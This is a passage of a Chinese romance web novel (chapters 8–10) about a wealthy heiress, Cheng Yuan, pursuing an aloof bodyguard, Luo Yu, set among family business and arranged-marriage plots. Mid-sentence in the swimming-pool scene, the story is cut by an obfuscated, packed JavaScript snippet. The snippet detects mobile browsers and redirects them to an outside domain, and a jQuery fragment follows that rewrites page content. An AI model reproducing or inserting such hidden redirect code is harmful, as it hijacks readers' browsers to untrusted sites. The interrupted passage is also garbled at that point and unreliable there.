“集团的员工福利,你也算是程远的一员,收着吧。” 周小竹看着购物卡上的两千额度,哈喇子从眼睛流了出来。 前两天还在微信里跟洛聿抱怨的他立刻就改了口: 【洛哥洛哥!我觉得程总就是仙女下凡当代活菩萨!她上班本来就辛苦了,偶尔小发雷霆一下怎么了!!】 洛聿那边大概在忙,十多分钟后才回复过来:【那是你还不了解她。】 周小竹:【当然,我必不会让除你之外的其他男人了解我。猫猫Wink.jpg】 洛哥:【?】 洛哥:【周小竹你终于被她弄疯了?】 周小竹:【TIT,洛哥,刚才那句是程总抢我手机发的!!】 周小竹:【洛哥?】 红色感叹号,对方还不是你的好友。 “周小竹。”程鸢在后面问,“你知道洛聿住在哪儿吗?” 周小竹赶紧把手机收好,启动车子,“洛哥好像住在老城区吧,具体门牌号我就不知道了。” “那他有女朋友吗?” 周小竹想了想,“没有吧,没见过有什么女孩子跟洛哥来往的,哦有一个!” “谁?”程鸢抬头。 “您呀!”周小竹龇牙笑。 “用你说。”程鸢翻了个白眼。 程鸢之所以要挑周小竹做保镖,一个原因是她没瞧上小张和小赵。 第二个原因才是重点,那天去到信安安保公司,程鸢在前台的员工照片展示区里看到了唯一一张有洛聿身影的照片。 照片里洛聿的手搭在周小竹的肩膀上,其余人则规矩地和洛聿拉开距离,可见周小竹和洛聿的关系匪浅。 在此之前,她和洛聿之间的牵连是温泽楷,要见洛聿就很大概率会见到温泽楷。 现在就不一样了,她和洛聿之间有了新的鹊桥。 洛聿一定不知道她可以在一百多张的照片墙里准确无误地发现他和周小竹的合影,否则他肯定不会把周小竹送到她面前。 “小竹啊。”程鸢拍了拍驾驶位的椅背,笑容温和,“以后别叫程总了,叫程姐。” 周小竹顿时觉得脊背一凉,“程姐……姐总,您是有什么吩咐吗?” “你慌什么,我又不会吃了你。” 周小竹唯唯诺诺:“那您是要吃……吃了洛哥吗?” 8. 光裸白皙 周小竹把车停稳在信安安保公司门口,熄火下车,打开后备厢。 “王哥?” 周小竹逮着个人连忙摇手:“快来给我搭把手!” 王浩帮他把一个箱子从车里搬了下来,“哟,够沉的,这什么啊满两大箱?” “蓝莓!”周小竹说:“整整两大箱的蓝莓,我程姐,就是我老板,专程让我带回来给洛哥吃的!” “宝石级蓝莓?这可不便宜啊!一盒少说要两张,这整两大箱最少小五千起步了吧!” “哦,为了感谢洛哥给她推荐保镖是吧。”王浩笑着拍了拍周小竹的肩膀。 “你小子挺值钱啊……” 周小竹讪笑,周小竹没敢搭腔,因为一个小时前他也这么自以为是过。 他程姐的回答是让他多照镜子。 “不愧是白富美,送礼也送的……” 王浩一顿,忽然灵光乍现:“我就说那天程小姐一来,她跟洛哥说话那口气就不对劲!我就知道这两人关系不简单!” 把蓝莓盒子打开,程鸢伸手抓了一大把放进碗里,放到水龙头下冲洗干净。 榨汁机日的一声,清甜的蓝莓果香蔓延开来,加进酸奶搅拌,搭配一份火腿芝士蛋卷,一份早餐新鲜出炉。 以前住在程家程鸢就没进过厨房,自己住之后一开始是订餐专人送餐,吃腻了后她就开始自己捣鼓早餐,毕竟水果奶昔还是现榨出来的这一刻最好喝。 当然这取决于程鸢几点起床,起得早就是早餐,起得晚也可以是午餐。 昨天,程鸢跟池之瑜取经该怎么哄男人。 毕竟池之瑜可是有把一个在拳台上出招狠厉见血的男人哄得乖乖叫姐姐的成功经验。 “哄男人开心还不简单,对他笑,关怀体贴,往死里夸他好,最后把你觉得不错的东西也送他一份。” 对洛聿笑,程鸢做过,为此还特地把稍显攻击性的紫发给染成了乖巧无害的茶黑。 当然也有她自己看腻了发色本来就想换的缘故,结果是他很防备地问她想干什么。 夸洛聿,程鸢也做过,夸他的手很大,结果他推开车门就走了,头也不回。 送礼物倒是还没做过。 程鸢问:“我觉得不错就行?” 池之瑜说:“那当然了,收礼的还敢挑那我劝你直接换个人哄。” 程鸢觉得很有道理,于是照办。 结果—— “洛聿一颗都没吃?” 吃完早餐下楼,车里,程鸢听周小竹给她汇报。 周小竹绘声绘色地说:“对!洛哥说不要,他不爱吃,还让我带回来,我说你不让带回来,他就让我当场全分了,连咪咪都分到了几大颗。” “咪咪是谁?” “我们那儿养的猫。” 程鸢静了几秒,“你的意思是,洛聿宁愿把蓝莓分给猫吃,自己也不碰一下?” 周小竹从后视镜里看了眼程鸢的脸色,慢吞吞地说:“是…是这么个意思。” 到达程远集团楼下。 周小竹下车过去给程鸢开车门,恭送她上班,回到车里,给洛聿打去电话。 “哥,没用!程姐说你可真有爱心,程姐还说,对猫好的人一定也特别会照顾人,温柔体贴,有责任心,善心,爱心,还有什么心来着我想想……” “哦对,俘获她的心!” 洛聿挂断了电话。 - 徐时鸣从深市回来,第一时间约程鸢吃饭,周小竹把她送过去。 徐时鸣注意到周小竹,“程程,你什么时候请司机了?” “就最近这几天。”程鸢说。 “背景干净吗?什么来头?” “能有什么不干净的,就一小男孩,挺逗的,还会讲冷笑话。” 虽然并不好笑,但程鸢没有打压他这个爱好,偶尔也会丢两句‘呵呵’过去敷衍一下。 程鸢喜欢车里有自然清新的花香,后排杯座被她放了个小花瓶,周小竹每天都会自觉更换新鲜花朵,程鸢挺满意这一点。 当然,这小子要没几个优点,洛聿也不会把他推到自己面前。 说到底还是洛聿会选人,周小竹除了有点二百五,几乎没什么程鸢不能接受的毛病。 徐时鸣又看了周小竹一眼,没再多说什么,伸手半揽着程鸢进餐厅。 不知是否凑巧,徐时鸣订的是情侣厅,一束明艳的紫色系花束放在餐桌旁,还安排了小提琴独奏。 徐时鸣亲自为程鸢切牛排的时候,池之瑜来了。 “我来蹭饭,小徐总不介意吧?” 徐时鸣看了眼正在专心吃鳕鱼塔塔的程鸢,转瞬便收起神情一笑置之,徐时鸣起身给池之瑜拉开餐椅,十分绅士。 周小竹在程远集团吃过员工餐,这会儿只需要在车里等程鸢出来。 周小竹上一任老板是个暴发户企业家,表面光鲜亮丽背地对员工抠得要命,连车里放的两块钱矿泉水都不许他们喝。 程鸢的车里吃的喝的从来不缺,车载小冰箱摆满了水和饮料,程鸢让周小竹随便拿。 “我靠!好酸……程姐这什么啊?” “果汁混合口味,我忘了哪瓶偏酸了,谢了。” 程鸢现下知道了,去拿另一瓶喝。 周小竹:“……” 从保镖转行当司机的周小竹又多了一份‘试毒’的工作。 坐在车里等待的周小竹接到了妹妹打来的电话,说她的转学流程已经全部搞定了,下学期就可以来澜市上学了。 “太好了!” 周小竹很高兴,挂断电话后立刻就给洛聿打去电话。 他妹妹的户口有点问题,转学来澜市不一定能参加这边的高考,最后是洛聿帮的忙。 周小竹一通诚挚感谢,又问洛聿最近回不回公司,他还想当面跟他道谢。 “用不着客气,办好了就行。” 洛聿听出周小竹那边环境很安静,“你在车里?” 周小竹:“哥你这也听得出来啊!” 洛聿:“你一个人?” 周小竹说是,说送程鸢来餐厅,“是一个男人约的程姐,两人关系还挺好的,那男的还搂程姐肩膀呢,不知道是不是程姐的男朋友。” 洛聿那边忽然静了下来。 “喂?哥你在忙吗?你吃饭了吗?” 洛聿:“准备去吃。” “去哪吃啊?”周小竹连忙说:“哥我请客!不对我现在走不开,不然我给你点?” “行了。”洛聿说,“用不着,你那点工资自己留着花。” “我有钱,程姐给我涨工资了!” 说到程鸢,周小竹倏地想起来一件事。 “洛哥,那个。”周小竹挠了挠头,“程姐给我下了道死命令……” 洛聿沉默了片刻。 “周小竹,你知道当墙头草的下场都是什么吗?” 周小竹立刻怂了,很小声说:“我是大风地里吹牛角,两边都漏一漏,不能算是墙头草吧……” “那哥,我现在知道你要去哪里吃饭了,我该不该跟程姐汇报啊?” 洛聿说:“你的老板是她不是我。” 周小竹看着被挂断的电话,陷入纠结。 早餐吃得多,程鸢把两个鳕鱼塔塔吃进去就感觉到有五六分饱。 徐时鸣和池之瑜聊起彼此有交集的一桩公事,程鸢没什么兴趣听,只在徐时鸣提到中晟时留意了一耳朵。 “吴杰我接触过几次,他为人斯文谦和,和中晟势头猛进的风格截然相反。” 池之瑜不解:“意思是?” 徐时鸣说:“意思是吴杰未必是中晟的最高决策人,他的背后另有其人。” 程鸢放桌上的手机发出叮的一声响。 “有点事先走了,你们慢吃!” 程鸢抓起手机和包包,风一阵似的就走了,徐时鸣和池之瑜都没反应过来。 两人面面相觑。 “程程这是要去哪?” 池之瑜看了眼程鸢发过来的微信,“忙公事吧,应该……” 这理由可信度为零。 谁不知道程鸢最不爱上班。 徐时鸣放下刀叉,沉默着往后靠在椅背上,脸色明暗难辨。 “就是这里?” 程鸢降下车窗,看着眼前这栋仿古风格的建筑,大门两边还有俩憨憨石狮子。 这里不像是吃饭的地方,更像是一幢古朴私人宅院。 “对。”周小竹小鸡啄米式点头,挺心虚不敢多瞧外头,“洛哥很经常来这里吃饭的。” “中午好,请问几位?”穿着工作服的服务生走上前来。 “我找人。”程鸢微笑说。 “好的,您请。” 一进去程鸢就看见了洛聿,他独自坐在靠窗方桌那儿。 这一刻程鸢忽然想起了自己去年在国外度假时游览过的号称欧洲最美湖泊之一的琉森湖。 水面碧透如镜,是藏在陡峭雪山下的一颗蓝宝石。 洛聿就像是一颗未经雕琢的宝石,普通的看不出任何牌子的衣服穿在他身上也难掩那股清冽干净的气息。 他给温泽楷当保镖,简直是出淤泥不染。 这里不是西餐厅,并不会有人为顾客拉开椅子,椅子还是那种矮矮的长条状木凳,没放任何软垫,看着就很硬,不过跟周围的环境倒是搭配。 程鸢自己拉开椅子坐了下去。 洛聿对她的到来没有表现出任何的意外。 实际上还是有那么一点意外的。 星级西餐厅还不够喂饱她的? 程鸢挤出一张笑脸问他:“洛聿,你吃的是什么,我好像没见过。” “饵丝。”洛聿淡淡地开口。 饵丝闻起来有一股清淡的米香,程鸢看着洛聿吃,自己原本五六分饱的肚子忽然就变空了。 她转头说:“你好,我要一份跟他一样的。” 程鸢顺便还点了两杯喝的。 等待的间隙,程鸢就看着洛聿吃,两人谁也没有说话。 他们仿佛和周围别的约着一起来吃饭的人是 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程鸢没有追过去,允许彼此之间保留一点距离,网鱼也要讲究收放自如,她要做一个高明的猎手。 服务生把程鸢点的喝的先端了上来,一共两杯,程鸢把杯子移到两人中间。 正中午温度越来越高,店里又是四面棱窗的布局,别的桌有客人说热,服务生很快就搬来了风扇。 风扇不巧是侧对着程鸢的,一打开,程鸢的头发就被吹得往洛聿那边飘了过去。 程鸢伸手想要压住,却忽然被扯得吃痛了一声。 “啊……” “别乱动。” 洛聿的声音在程鸢耳畔响起,低平沉哑,藏着一丝不容置喙的命令感。 程鸢轻轻扭头过去,发现两人之间的距离不知道什么时候被他缩短了。 她闻到了他头发上清新洗发水的味道,而她可怜的头发却缠在了洛聿衣服上的金属拉链头里。 洛聿正在试图解开,但又怕再扯痛她,因而动作缓慢。 “能一直缠在一起吗,不解开也行。” 洛聿抬头看着她,“头发不想要了?” “不是头发。” 程鸢冲他眨眨眼,带着期待,“是我和你。” 洛聿捏住她那缕头发的一端,立刻解了开来,争分夺秒地跟她切断了关联。 “真绝情啊。”程鸢不太高兴地嘟哝了两句,没两秒又弯起了眼睛说:“洛聿,不管你信不信,我不是对谁都这样的。” 洛聿还是没说话,眼里更是什么情绪都没有,他拿起桌上的杯子径自喝了两口茶。 “洛聿,你喝的那杯是我的!” 程鸢语气稍扬,像是总算抓到了他的把柄一样兴奋。 “这算不算是间接接吻啊?” 她的笑里明显带有揶揄,根本只是单纯想看他笑话,和成年人之间的调.情完全是两个概念。 洛聿打断她,“你没喝过。” “哦。”程鸢装出很遗憾的语气,又问他,“好喝吗?” “你可以试试。”洛聿把另一杯谁都没喝过的放到她面前。 “唔——”程鸢喝了一口立刻面露苦瓜色,“好奇怪的味道,这是什么啊?!” 她是随手点的招牌,压根不知道这东西的口味会这么古怪。 洛聿对她的反应毫不意外,他站起身,语气冰冷:“这里的饭菜口味不可能适合你,程小姐以后不必来了。” 像程鸢这种出身富贵,从小就被和颜悦色包围的人,应该从来都没听过这样的重话。 她以自我为中心的人格到这一步也该出来遏制这场无聊的游戏了。 不管她是出于何种目的,她现在的身份是温泽楷的联姻对象,单凭这一点,洛聿都不会跟她有过多的交集。 “洛聿!我陪你吃完了一整份饵丝,我的还没端上来你就要走。” “这什么油茶我是喝不惯,但饵丝我还没尝过,你怎么知道我吃不习惯?” 程鸢抓紧他手腕的手滑了下去,直接钻进了他的手心。 反正也不是第一次碰了,程鸢握得很熟练。 她一改刚才忍不住冒出来的质问语气,轻轻晃了晃他的手臂,“洛聿,陪我吃饭,我拿谢谢跟你换。” 她靠他很近,轻柔的语气吹拂在他的手臂上,很轻,没有任何分量。 洛聿垂眼盯着她。 程鸢弯起唇:“谢谢你呀,洛聿。” 她的眼睛总是亮得出奇,眼瞳干净透润,显得无辜又无害。 搞不懂为什么她的反应总是出人意料。 这时,服务生把程鸢的那碗饵丝端了上来,看了眼两人手牵着手的姿势,很微妙地笑了一下,说了句请慢用便没打扰了。 “手松开。” “不要,除非你重新坐下来。” 洛聿坐了下去。 9. 你抖什么 “这是什么?” “豌豆尖。” “那这个呢?” “薄荷叶,还有芫荽。” 东西都切成碎丁,程鸢分辨不出来,用筷子搅拌搅拌,“这几种叶子还能放一块儿煮啊。” 洛聿没说话了,盯着她的侧脸。 确认没有自己不能吃的东西后,程鸢又想起刚才那口差点把她送走的茶。 她很谨慎地只夹了一小筷,把舌尖伸出来一点试了试味道。 程鸢吃得惯饵丝,看着像面条却和年糕的口感有点像,汤里加的东西多,味道却不杂,是酸酸辣辣的,很开胃。 程鸢当着洛聿的面用勺子喝了口汤,然后朝他挑衅般抬了抬眉。 洛聿:“……” 留意到还有点阳光晒着她的脸,他悄无声息调整了下位置。 洛聿并没有陪她吃完,他有电话进来,当着程鸢的面接下,说了句就过来。 洛聿看了眼程鸢只喝过半口的油茶,给她重新点了一杯柠檬水。 “先走了。” 程鸢放下筷子看着他,“洛聿,下次再一起吃饭。” “没时间。” 程鸢笑得很从容,并通知他:“我有时间,我配合你。” 洛聿没再开口,没答应也没拒绝,直接走了,程鸢把他的沉默一律归为后者。 程鸢并没有在洛聿走后也起身离开,她又拿起了筷子。 不过她大概是觉得里面加的那些东西有些口感不是很好,挑挑拣拣了一会儿,才继续吃,一小口一小口,然后再喝一勺汤。 她竟然真的能吃下去,并不是在他面前故作样子。 她不会知道从她进来店里有多少目光落在了她身上,除了那张出众的脸,更多的是与周围的格格不入,就像流浪猫群里忽然混入了一只珍贵的蓝瞳布偶。 明明不是她该来的地方,她却总是能做到怡然自得。 洛聿收回目光,转身从廊下离开。 程鸢吃东西其实挺挑嘴,尤其夏天,天气热她就更没什么想吃的,但今天她的胃口很好,一不小心还吃多了。 在手机里和普拉提老师约好课程,程鸢起身准备结账。 “洛先生已经结过了。” 意料之中。 程鸢又问:“可以办会员卡吗?” “洛先生说以后您再来,都直接划他的账。” 程鸢意外,“哦?” 突然对她这么慷慨,该不会……是为了感谢她收下周小竹吧? 程鸢走了两步,想起什么又回头问:“洛先生的卡上有多少余额?” “这个需要查一下。” 店员在电脑里操作了下,抬头说:“洛先生是常客,卡里目前的余额是五万多。” 五万对程鸢来说不多,但洛聿只是一个保镖,周小竹也说过他家里的困难都是洛聿帮的忙。 难道温泽楷给他的工资开的巨高? 如果真是,那程鸢只能说,温泽楷还算是有那么一丁点人味。 周小竹打开车门让程鸢上车,关上车门,绕过车头坐进车里。 他没急着发动车子,而是把刚买回来的清新口喷拆了包装递给程鸢。 “程姐,给您。” 吃完饵丝嘴巴里的味道会比较杂。 程鸢接过,看了眼口喷的味道,是水蜜桃味,她对着口腔喷了几下。 程鸢一门心思都在研究洛聿,都忘了去想周小竹又没有进去看她吃了什么,怎么会提前给她买好口喷这件事。 “洛聿平时也是一个人吃饭吗?” 周小竹点点头说:“除非有工作,不然洛哥大部分时间都是一个人来这儿吃饭的。” 这家餐厅是外地口味,似乎就是洛哥和他母亲的故乡那边,不过关于这一点周小竹没对程鸢说。 一个人吃饭,一个人生活,独来独往。 洛聿不会觉得孤独吗,程鸢跟他是截然相反,她最喜欢呼朋唤友,即便只是一顿下午茶也不例外。 周小竹看了眼后视镜,“怜,怜爱了吗姐?”救命,他是不是给洛哥添倒忙了。 程鸢安静了几秒,脸上那股玩世不恭的神色淡了很多,“一个人生活也没什么的,不需要任何人施舍同情。” 周小竹意外地看了眼她,“程姐?” “继续说,洛聿还有什么事是我不知道。”程鸢盯着他,似笑非笑道:“而你也能说的。” “啊这,您容我想想…” 周小竹擦了一把虚汗。 “对了,洛哥每周五下午都会在公司楼顶的泳池里游泳,您要是想逮,啊不是,您要是想见他,可以趁那会儿……” 洛哥叮嘱他,一定不可以把不能说的事情告诉程鸢。 可洛哥每周五要游泳的这个习惯是整个公司的人都知道的事。 所以这不算是一个秘密吧,是能说的吧。 * 温氏集团大楼副总经理办公室,推门进来一名贵妇派头的中年女人。 “凌川,万家的大女儿,秦家的小女儿,还有你舅舅家那个合作伙伴的女儿,这些姑娘你就没有一个瞧得上的?” 温凌川看了眼他妈,架在台面上的双腿没有放下来,一脸懒散地转着手里的钢笔。 “一群庸脂俗粉。” 声音里充满了不屑。 “那你跟妈说,你到底想找什么样的,他们大房已经找了程家这个岳家,咱们可不能被他们比下去!你大哥如今又回不来了,我和你爸可全都指望你了!” “爸指望的可不止我,不还有那个吗。” “那个小杂种你爸敢把他放眼里试试!我同意他进公司就已经宽宏大量了!” “程家……” 温凌川低喃着,眼前划过那张明艳张扬的脸,那是一张任何男人看过第一眼就很难忘记的脸。 “他也配。” “儿子,你说什么?” “没什么。” 温凌川把钢笔扔回台面,坐起身,“妈,我想要的女人不是那些娇滴羞涩的大家小姐,如今我手里跟着好几个大项目呢,等忙完这阵再说吧。” 温齐贤凉了,温凌川接手了他大哥培养在集团的各部势力,没了亲大哥的打压,他在集团已经迅速崭露头角。 温泽楷于是也不遑多让,最近去温氏去的勤,修身养性每天两点一线。 中晟的办公地点租赁在云湾金融中心大楼的其中一层,柯彻从电梯里出来,穿过走廊到最后一间办公室,推门进去。 “蔚蓝海岸那个项目温泽楷也盯上了。” “意料之中。” 洛聿头也没抬翻阅着面前的文件,他穿着普通的黑色衬衣,肩部流畅挺括,领口往下的扣子解开了两颗,姿态从容不迫。 “的确。”柯彻自己找了张凳子坐下,跷起二郎腿,“中晟对外没有任何背景根基,像这样的小公司在澜市一抓一大把,堂堂温家大少爷又怎么会放在眼里。” “程方海可是个老狐狸,选女婿也不光看家底,温泽楷自己要不做出点成绩,这桩联姻保不齐能不能成呢。” 洛聿短暂停顿了几秒。 “言归正传,你想要吴杰怎么做?” 柯彻屈指敲了两下台面,“换句话说,那两家的联姻你是乐见其成还是已经有了别的想法?” 洛聿抬起头来。 “我可都听周小竹说了,那程家大小姐又是给你送爱心水果,又是陪你共进午餐的,那大小姐看谁都是抬着下巴的,唯独对你不一样。” 洛聿皱起眉,周小竹什么时候学会添油加醋这一套了。 “近墨者黑。” “什么?” “没什么。”洛聿说,“告诉吴杰,全力以赴。” “哦?”柯彻意味深长挑眉。 * 泳池在信安大楼的顶层,面积不是特别大,但光线很好,水质清澈。 高跟鞋清脆的踢踏声有节奏响起。 程鸢停在泳池边,摘下脸上的墨镜。 洛聿穿着泳裤从泳池里上来,身形肩宽腿长,水痕从他的肩膀锁骨一直下滑到结实的腹肌上。 程鸢朝洛聿扬了扬红唇。 “又见面了,洛聿。” 她的问候总是带着一丝不自知的挑衅,像准备斗架的孔雀。 大多数人只知道孔雀开屏是为了求偶,实际上开屏还是一种示威。 洛聿摘下护目镜,想问她为什么会在这里又觉得多余,对程鸢来说这世上就没有她不能去的地方。 “洛聿,你是怎么练的?” 视线在他身上来回游走,程鸢这会儿的语气是单纯的欣赏,她说:“你的身材比我看过的一个泰拳手的身材还要好。” 她说的是柯彻? 洛聿面无表情地拿起桌上的水杯喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438331|169305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两口水,当程鸢压根不存在,径自转身重新跳进了泳池里。 溅起的水花差一点点就弄到程鸢身上,距离把控分明。 程鸢还是被惊得往后退了一小步,皱了下鼻子说:“干嘛突然炸鱼……” 水里的洛聿更像一只敏捷的猎豹,每一次双臂划水都是力量的爆发,把水面劈开,速度快且有规律。 程鸢眼睛一亮,视线追随过去。 洛聿游了两圈,从对面上岸,扯过一条浴巾随意披在肩上,湿发用手往后拨弄,绕过泳池走回这边的淋浴区。 “你该走了。”他的语气比泳池里的水还要冷。 “不。”程鸢双臂抱胸靠近他,“你们王经理热情邀请我上来参观,我想什么时候走我自己决定。” 洛聿侧过眼盯着她,凌乱的碎发遮住他漆黑的眉眼,“我脱衣服冲澡你也看?” “你可以试试我看不看。” “洛聿……” 程鸢见他忽然转身朝自己走了过来,眼里有着不同寻常的沉静,她一怔,下意识就想往后退,他的手臂立刻伸过来圈住她的腰,没给程鸢任何挣扎的机会,洛聿把她连抱带推抵进了一旁的淋浴间。 洛聿身体并用压了过来,钳住她乱动的双手,把她整个人抵在墙上,动作利落且粗暴。 体型差带来压迫感极强的一层阴影笼罩在程鸢头顶上,视线被剥夺,她的眼前只有他坚硬如铁的胸膛。 她整个人像是埋进了他怀里,一股清凉水汽从她松敞的领口往里钻了进去,激起一片陌生的战栗,像触电。 “不是要看吗。” 洛聿嗓音发哑,盯着她一动不动的毛茸头顶,他的眼睛漆黑得像是无星的黑夜。 狭窄的空间,男人充满了侵略性的高大身形寸步不退,洛聿伸手钳住她的下巴迫使她抬起头来,“你抖什么。” 她的肌肤比想象中要滑腻更多,比他手掌还小的脸早已涨红,估计是气得不轻。 他没用多少力她的下巴也已经被掐红了一块。 浑身上下嫩得能滴出水,就这样还敢学人家玩男人,她到底哪儿来的胆子。 “程鸢,不是什么人都能陪你玩这种无聊游戏,劝你及时收手,否则。” 他扫过她激动之下泛出红晕的眼角,“我让你真哭出来。” 程鸢的胸腔微微起伏,没什么表情的望着洛聿,也没开口说话。 她这下总算知道什么叫害怕,该学乖,也该知难而退了。 “程姐?姐?人呢……” 周小竹去外边街上程鸢指定的茶饮店给程鸢买了喝的上来。 “怎么一个人都没有,连洛哥也不在。”周小竹纳闷了。 “我先出去。” 洛聿松开了她,为避嫌他先出去。 洛聿刚碰到门把手,不料程鸢忽然抢先一步把门推开从里面大迈步走了出来。 “姐你怎么从——” 周小竹刚一开口就卡碟了,尤其看到站在程鸢身后的还有洛聿,两人待在同一个淋浴间。 程鸢衣衫褶皱,发丝凌乱,脸颊泛着不同寻常的绯色。 洛聿赤.裸的腰腹上有一道很长的指甲刮出来的红痕。 就他们俩这状况,路过的狗看了都得嚎一句有奸情吧。 周小竹瞬间瞪大眼,像是发现了什么惊天大瓜,“你们这是?” 程鸢伸手拨弄了下自己有些凌乱的长发,用手背碰了碰自己的脸颊降温,她暗自大呼了口气,转身走回站在淋浴间门口一脸沉默的洛聿面前。 “洛聿,你竟敢威胁我,我最讨厌被人威胁。”她用只有两人才听到的声音:“不过,你主动向我展示了你的另一面,值得表扬。” “你有点脾气也挺好的。” 不然多没意思。 说罢,程鸢抬手扯住洛聿的一撮头发猛地一拽下来。 “嘶……!!” 洛聿从始至终面不改色,连眉头都没有皱一下,他只是盯着程鸢,周小竹却猛地缩了下脑袋,仿佛被扯掉头发的是他。 “刚才把我按墙上的时候你揪掉了我的头发。” 程鸢把手中五六根洛聿的短发扬到地上,“这就是我对你的表扬。” “洛聿,我只教一次,下次再做这种事记得先把我的后脑勺护住。” 不等他反应,程鸢抓起他的手贴到自己的脑袋上:“还疼着,摸我。” 10. 身体柔软 “洛哥……?” 王浩从门口探出头来,他观察了下洛聿的脸色,搓了搓自己的手心开始解释。 “我一开始还以为人程小姐是找你有事呢,所以我就让她自己上来了。” 王浩瞧了眼他的脑袋,还行,没被薅秃,刚才那阵仗他在门口全都瞧见了,只是没敢进来。 不过也奇怪,以洛哥的身手即便他和周小竹捆在一起都打不过他,程小姐那种姑娘家根本碰不到他的头才对,除非……是他自己乐意接受那个‘表扬’ 王浩抖了下双臂,再看洛聿已经一脸的耐人寻味。 但也忍不住八卦:“你和程小姐到底怎么回事啊?”王浩说,“我刚才看她下去的时候,那脸黑得吓人,周小竹跟在她旁边战战兢兢的,孩子都快吓哭了!” 这不就是父母吵架孩子遭殃吗,王浩一脸同情加叹息地摇了摇头。 闻言洛聿微蹙了下眉,拿出手机。 “那是什么?”王浩瞥见淋浴间门口地上躺着一团闪闪发光的东西。 洛聿俯身捡了起来,是一条白钻手链,链条断裂,上面沾了点水。 “有纸吗?” “有有有!”王浩连忙掏兜献上自己的小包纸。 洛聿用纸巾把手链上的水仔细擦干,再用一张干净的纸巾把手链包好放进了自己外套兜里。 王浩全程盯着他的动作,得出结论,看来以后程小姐再来他们这儿,他还是不用拦着~ * 车里。 程鸢满脸沉色,双臂环胸靠在后座。 她长这么大就没哄过男人,到这份上已经够够了,洛聿油盐不进,她真的恨不得穿着高跟鞋踩上他的肩膀要他臣服自己。 周小竹几次三番从后视镜里偷偷观察她,“程姐,你跟洛哥,你们……” “不是我们。”程鸢冷笑,“是我和他。” 周小竹舔了舔唇,“姐,你别看洛哥好像不爱搭理人,但他其实人挺好的。” 人好有鬼用,得好哄才行。 红绿灯,周小竹停下车,看了眼新进来的微信,他扭头:“姐,你的头还疼吗,不然我下车给你买个冰袋敷一敷?” “不用,回家。”程鸢还是冷着脸,但忍不住打了个哈欠,然后继续冷脸。 每次只要脑子沉她就必然会开始犯困,对付洛聿竟然比上班还难搞,她开始有点烦了。 “……行。”周小竹不敢再说话打扰她了。 到家,程鸢忍着困意先洗了个澡,从浴室出来,程鸢正面往自己的床上扎了下去,滚了几圈给自己翻面,最后整个人呈大字仰躺在床上。 此时此刻就算有十个洛聿脱光了站在她面前给她轮番秀腹肌,她也绝对不会看一眼。 程鸢有骨气的想着,眼睛一闭,睡了过去。 * “先生,这条手链的断裂口可以修复,工期是三天左右,维修费是五千。” “嗯。” 洛聿又问:“同样的款式有现货吗?” “有的有的,刚好有一条!” SA眼睛一亮,连忙从柜台把一条同款崭新的手链双手托起来,“您看。” 洛聿看了眼钻石的光泽度,道:“刷卡。” “好的好的!” “一共是三十万五千,感谢您!” 洛聿从店里出来,拎着手链礼盒等待下行电梯,两个女孩从他身后经过,没一会儿又走了回来,含羞脸红地走到洛聿身侧。 “你,你好,可以加个微信?” 洛聿面容清冷,没有任何多余的表情,“抱歉。” 他抬脚进了电梯。 * 程鸢的心情不好,具体表现在她从九点上班擅自改成了十点半。 沐慈来问她缘由,程鸢扭头没理他,沐慈于是心领神会,回去正要跟程方海汇报。 “程董,您这是在吃什么?” “哦,医生开的一些维生素。”程方海把药瓶盖子拧回去,脸色如常。 “你刚才说程程这两天怎么了?” 沐慈把程鸢心情不好的缘由按到联姻头上,沐慈虽然是程方海的总助,但情感上他总是偏向自己的小师妹的。 程方海沉凝了片刻。 他起身走到落地窗前,西装革履高大宽厚,仿佛只要有他在,程远集团这座大山就会永远屹立不倒。 “程程如果不是我的女儿,她能够每天坐在总经理办公室里只是玩玩游戏吗,她能想什么时候上班就什么时候上班吗。” 程方海的语气缓慢而低沉,“哪天要是我不在了,集团上下这么多人养家糊口的饭碗,这份责任,谁来承担?” 沐慈愣住,“程董……” “温泽楷不是要用蔚蓝海岸那个项目来证明自己吗,我先看看他能给出什么成绩。” 沐慈说:“那要是他不能……” 程方海说:“这个月底蒋家的三公子会从国外回来参加他大姐的婚礼,那孩子我两年前见过,也不错。” * 程鸢收到了一束鲜花,是前台那几个女孩子送给她的,说是看她这两天心情不好。 还是女孩子最会讨女孩子开心。 不像某些人,开口就是‘你该走了’ 赶谁呢! 程鸢于是建了个群,打算中午请客吃饭,群里除了前台那群小姑娘,还有两个程鸢聊得来的部门女经理,一个行政总监,以及总裁特助沐慈的小助理实习生。 小助理和沐慈程鸢同属一所大学,一口一个师姐听得程鸢很开心。 行政总监比她们这群人要大个五岁,算是位大姐姐,她发现自己被拉进群里还挺意外和拘束。 大概是没想到程鸢会把她也带上,她只不过是在当初林董对程鸢有意见时站出来替她说过话。 程鸢就是到哪里都有呼朋唤友的本事。 沐慈从程方海办公室出来,亲自下楼来到程鸢这儿,通知她:“程总,十分钟后请去会议室参会。” “又我?” 程鸢刚找回来的好心情瞬间被掐灭了。 “沐慈,你给我句实话,我爸是不是想用无穷无尽的工作压垮我,再把我一脚踹进婚礼现场?” “哪来的婚礼现场。”沐慈说,“温家那边倒是有举办订婚宴的想法,但程董还没有点头呢。” “你要是不满意温泽楷,程董说蒋家的三公子也是海外留学回来的,一表人才。” “别!”程鸢说,“我现在对爬行动物过敏。” 沐慈愣了下,反应过来后哭笑不得。 “程程。”沐慈走过去,伸手摸了摸她的脑袋安抚,“程董也是为你好。” 沐慈看了眼门口方向,想到程董刚才吃的那半个药瓶盖子那么多的维生素,他总觉得哪里不太对劲。 “程程,程董他……” “别说了,我不爱听。”程鸢一脸不高兴地打断了他。 ‘为你好’她不爱听,哪个男人一表人才她更不爱听,程鸢唰的站起身:“A3会议室是吧,我去就是了!” 长达两个小时的会议听得程鸢头脑发晕,一到中午她立刻撂摊子和她约好的女孩子们去吃了顿海鲜大餐。 吃完午餐程鸢本来想直接旷工不回去上班,沐慈掐着点打了电话过来。 说上午那个会议只开了一半,下午还需要全员出席继续讨论。 